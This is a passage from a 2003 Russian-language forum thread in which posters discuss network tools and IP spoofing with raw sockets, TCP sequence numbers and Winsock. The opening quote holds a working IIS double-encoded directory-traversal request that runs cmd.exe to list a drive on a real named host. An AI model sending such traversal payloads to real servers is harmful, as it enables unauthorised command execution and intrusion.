Access violation at address XXXXXXXX in module 'INETCRACK.EXE'. Read address FFFFFFFF при посылке пакета: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">GET http://chat.isurgut.ru/..%255C..%255C..%255C../winnt/system32/cmd.exe?/cmd.exe+dir+c:%255C HTTP/1.1 Accept: */* Accept-Language: ru Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90) Host: chat.isurgut.ru Proxy-Connection: Keep-Alive[/QUOTE]<span id='postcolor'> %255С - это юникод "\" (то же что и %5С но на последнюю разновидность юникод-бага IS лечится, заплатка тобишь есть) Если с другими глюками еще можно было мириться то этот баг поверг меня в уныние...
Я тогда порыскал по инету (ну лень было самому писать) и нашел вот это чудо: HttpGenerator -- мдааа -- ну удивительно похоже на поделки мелкософтовцев дяди билли: такой же ламерский подход к потенциальным юзверям энтой с позволения сказать проги. Зачем все усложнять , поля какието заполнять, проверки производить, - я офигел просто. В таком вот плохом настроении пришлось всеже поставить себе дельфю аж третьей версии и дорабатывать одну свою прогу (она тогда какраз на третьей версии и писалась - давно дело было). Вот тут можешь посмотреть: portsniffer.zip. Единственное отличие что строку Proxy-Connection: Keep-Alive из запроса настоятельно рекомендуецца убрать, а так работает. Ну и "http://chat.isurgut.ru" указывать нет нужды: полный адрес для прокси нужен а мы можем от корня пути считать. Примочки типа аутокоунт уже обленился к тому времени посему и так сойдет. Ну и счас твою новую версию тоже качнул. Сенкс
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Rabid Rabbit @ ноября 22 2003,02:57)</td></tr><tr><td id="QUOTE">Я тогда порыскал по инету (ну лень было самому писать) и нашел вот это чудо: HttpGenerator -- мдааа -- ну удивительно похоже на поделки мелкософтовцев дяди билли: такой же ламерский подход к потенциальным юзверям энтой с позволения сказать проги. Зачем все усложнять , поля какието заполнять, проверки производить, - я офигел просто. Вот тут можешь посмотреть: portsniffer.zip. Единственное отличие что строку Proxy-Connection: Keep-Alive из запроса настоятельно рекомендуецца убрать, а так работает.[/QUOTE]<span id='postcolor'> portsniffer не работает , грит что --------------------------- --------------------------- Exception EOleSysError in module portsniffer.exe at 00038801. Класс не зарегистрирован. --------------------------- ОК ---------------------------
Да я пробовал на 95, 98, МЕ - работает. Ты бат файл смотрел? Там фишка в том чтобы лайбреризы в систем папку скопировать а затем регистрировать. Но если винда 2000 или там NT т.п. то regsvr32.exe в папке system32 лежит - соответственно тудаже лайбреризы копировать нуна. Ты наверно под ИксПи пускал (под этой системой я не тестировал). Носки, пользуемые моей прогой являются активиксами, соответственно локал айпи ридонли (изменить это нельзя так как диспинтерфейс) но даже не в этом фишка. Если посылать синаск или там Port Unreachable, Protocol Unreachable и др. то айпи конечно подделать можно. Вот что тогда получится: до первого шлюза пакет дойдет и если у шлюза настройки на диапазон внутренних айпи стоит то отсечка если нет то пойдет дальше но с айпишником шлюза, дойдет до сервера и ответ (если будет) вернется к шлюзу, от шлюза пойдет на подделаный айпи. По моему так хотя это вопрос достаточно сложный и здесь много нюансов. Ну и посоку большинство коннектов устанавливаются в два этапа то принять или послать данные серверу на конкретный порт не получится - т.е. это работает только в одну сторону и неизвестно как там реагирует сервак. Можно широковещательные слать но это уже датаграмы. Можно пользовать сокс5 проксю - тогда рулез. Если прога сокс5 не держит то юзать сокскап прогу. А ты пробовал? Подробнее плиз.
Пробовать то я пробовал, но только на уровне IP протокола (через RAW, Winsock 2). Установить TCP соединение конечно таким макаром не удается. Но вот интересно, что будет если установить соединение со своим IP, а при посылке пакета данных подменить обратный адрес? В таком случае какой адрес будет фиксировать удаленный сервер ?
Ну если на уровне RAW то я не понял в чем запара? А че такое винсок нумбер 2 (у меня они виндовые все на одно лицо? В датаграмах например айпи легко меняется - там нет этой мути типа three-way handshake как в ТСП. Небольшое замечание походу: говоря что меняется Айпи я имею ввиду изменение его в IP-хедере посоку IP-пакет являецца несущим для TCP и UDP etc. Как в UDP так и в TCP нет полей для айпи-адреса, только порты (флаги, данные). В ТСП опять же если айпи менять то реально можно слать только запросы на установление соединение (сиречь сины) на другую муть сервак отвечать не будет потому как в ТСП есть Sequence Number (SEQ) и Acknowledgement Number. Вот типа как выглядит установка соединения: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"> TCP A TCP B 1. CLOSED LISTEN 2. SYN-SENT --> <SEQ=100><CTL=SYN> --> SYN-RECEIVED 3. ESTABLISHED <-- <SEQ=300><ACK=101><CTL=SYN,ACK> <-- SYN-RECEIVED 4. ESTABLISHED --> <SEQ=101><ACK=301><CTL=ACK> --> ESTABLISHED 5. ESTABLISHED --> <SEQ=101><ACK=301><CTL=ACK><DATA> --> ESTABLISHED [/QUOTE]<span id='postcolor'> Как видно запрашивающая сторона посылает произвольно выбраный SEQ (sequence number). Серв в ответе посылает в поле ACK(Acknowledgement Number)=SEQ+1 и свой от балды выбраный SEQ = вот по этим полям (в дальнейшем увеличиваюцца на 1) и идет контроль пакетов при передаче данных посредством TCP. Запрашивающая сторона при посылке каждого пакета ставит у себя таймер и при истечении некоторого времени повторяет запрос если ответа не было. Ну а после установления можно передавать данные. Конечно это зависит от конкретных носков но при приеме пакетов айпи отправителя контролируется (наравне с ACK SEQ). Т.е. чтобы подделать конкретный пакет нужно выставить ему кроме правильного айпи еще и правильные ACK SEQ. Я правда не в курсе как в виндовых носках айпи поставить можно, с практикой в этом вопросе у меня вообще сложности: там локал Айпи ридонли да и нет доступной подопытной сетки нужной конфигурации, т.п. А ты как ставил, сорцы есть? Наивный вопрос: сорцы виндовых носков у тебя случайно не завалялись?
Спасибо конечно за экскурс в теорию стека протоколов, но я ее и так знаю )) Я ж про то и говорю, что установить TCP соединение можно только под СВОИМ IP. А только потом (когда сокет открыт) подделывать IP. Но при таком подходе мне кажется что сервер все равно будет помнить начальный IP, который был при открытии сокета. В таком случае подделка IP ничего не дает. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">Я правда не в курсе как в виндовых носках айпи поставить можно, с практикой в этом вопросе у меня вообще сложности: там локал Айпи ридонли да и нет доступной подопытной сетки нужной конфигурации, т.п. А ты как ставил, сорцы есть? Наивный вопрос: сорцы виндовых носков у тебя случайно не завалялись?[/QUOTE]<span id='postcolor'> Локал айпи конечно ридонли, в микрософте ж не полные идиоты сидят )) Изменить айпи по моему в виндовсе вообще нельзя. Но можно устанавливать произвольный source IP в отсылаемых IP пакетах через RAW (Winsock2 это библиотека, дающая доступ к RAW в том числе). Т.о. для того чтобы менять динамически IP адрес пакетов, необходимо самому писать полностью поддержку всего стека начиная с IP протокола, что довольно сложно.
Ну писать необязательно, можно сниферить например прогой CommView (http://www.tamos.com). Я правда не совсем понимаю (еще не разобрался) как она пашет - наверное закладки в длл устанавливает. Кроме того эта прога позволяет конструировать пакеты на самом низком уровне. Но тольку с нее если у меня нет экспериментальной сетки. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">Я ж про то и говорю, что установить TCP соединение можно только под СВОИМ IP. А только потом (когда сокет открыт) подделывать IP. [/QUOTE]<span id='postcolor'> А я о чем? Дополнительную инфу привел потому чтобы не возникло лишних вопросов, см. "айпи отправителя контролируется (наравне с ACK SEQ)". а еще в айпи-хедере есть "Identification" филд для сборки фрагментированных пакетов (используется при передаче и сборке фрагментированных датаграм в основном). Вот функция, вернее ее прототип из винсок: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"> function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; function accept; external winsocket name 'accept'; [/QUOTE]<span id='postcolor'> где: u_int = Integer; TSocket = u_int; </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">Локал айпи конечно ридонли, в микрософте ж не полные идиоты сидят )) [/QUOTE]<span id='postcolor'> Ну что тут сказать? Вот в этом и есть отличие ламерского софта от нормального. В первом случае програмисты пишущие "для чайников" стараются сделать все как можно более красочным с кучей выскакивыющих, выезжающих т.п. фишек, разноцветных пробомбасов и в то же время максимально запретить юзеру доступ на нижний уровень, извратить содержание да и суть реально происходящих процессов до неузнаваемости (якобы для упрощения их понимания). Вобщем если вкратце то я не считаю что програмисты из фрифоундэйшен или там еще откуда, которые выложили исходники линуховых носков полные идиоты) Ну если чесно то в красной шапочке (мутная воще система) например носки бсдэшные и исходники без переводов строк но они есть и это радует. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">Т.о. для того чтобы менять динамически IP адрес пакетов, необходимо самому писать полностью поддержку всего стека начиная с IP протокола, что довольно сложно. [/QUOTE]<span id='postcolor'> Или обратный инжиниринг что тоже сложно. А вобще сорцы этих носков были бы очень кстати (мечтать не вредно) . А поддержку всего стека написать в гаражных условиях нереально начинать придется с ком-соединения потом поинт то поинт для профайдера, ... а потом: ARP, BCAST, BGP, BMP, CDP, DAYTIME, DDNS, DHCP, DIAG, DNS, EIGRP, FTP, G.723, GRE, H.225, H.261, H.263, H.323, HTTP, HTTPS, ICMP, ICQ, IGMP, IGRP, IPsec, IPv4, IPv6, IPX, HSRP, NCP, NDS, NetBIOS, NFS, NLSP, NTP, OSPF, POP3, PPP, PPPoE, RARP, RADIUS, RDP, RIP, RIPX, RMCP, RPC, RSVP, RTP, RTCP, RTSP, SAP, SER, SMB, SMTP, SNA, SNMP, SNTP, SOCKS, SPX, TCP, TELNET, TFTP, TIME, UDP, VTP, WAP, WDOG, 802.1Q, 802.1X. ))
Да и кстати попробуй комвиевом и напиши что получится. Я считаю что после установления соединени пакеты сенддата с другим айпи будут просто отсекаться..
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Rabid Rabbit @ декабря 05 2003,02:16)</td></tr><tr><td id="QUOTE">Вобщем если вкратце то я не считаю что програмисты из фрифоундэйшен или там еще откуда, которые выложили исходники линуховых носков полные идиоты)[/QUOTE]<span id='postcolor'> Дело в том, что многие системы основаны на идентификации пользователей по IP адресу. Поэтому майкрософт и делает систему настройки IP адреса очень жесткой.
Ага я раздуплился че такое рав сокеты. Это тоже разные вещи. Есть рав-протокол. Есть синоним RTP. А в виндовз икспи есть рав-сокеты или "сырые". Правда че они еще позвляют делать кроме как локальный порт и лок. айпи менять, вобщем толку от них мало. В никсах все сокеты есть рав если пользоваться терминологий мелкософтовцев.
RAW позволяют создавать произвольные пакеты, начиная с IP уровня и выше. И вообще понятие "RAW-сокет" я не совсем понимаю, поскольку сами сокеты существуют только в протоколах с постоянным соединением (т.е. TCP). На уровне IP никаких сокетов существовать не может.
Ну не знаю. С "терминологией мелкософтовцев" я похоже не так выразился. Вобщем философия не мой профиль Я просто имел ввиду что обычные никсовые это всеравно что рав виндовые В линухе рав есть и они используются для снифинга и реплейса пакетов и не только, кажется их еще "беркли" в никсы засунул. Но такое ощущение что это "понятие" вообще никто не понимает. В энциклопедии http://en2.wikipedia.org/wiki/Main_Page насчет RTP говорится. Ты говоришь начиная с АЙПИ и выше, а ниже? В никсах например с помощью рав можно оперировать как с TCP так и с UDP (поправьте ктонибудь если я не прав).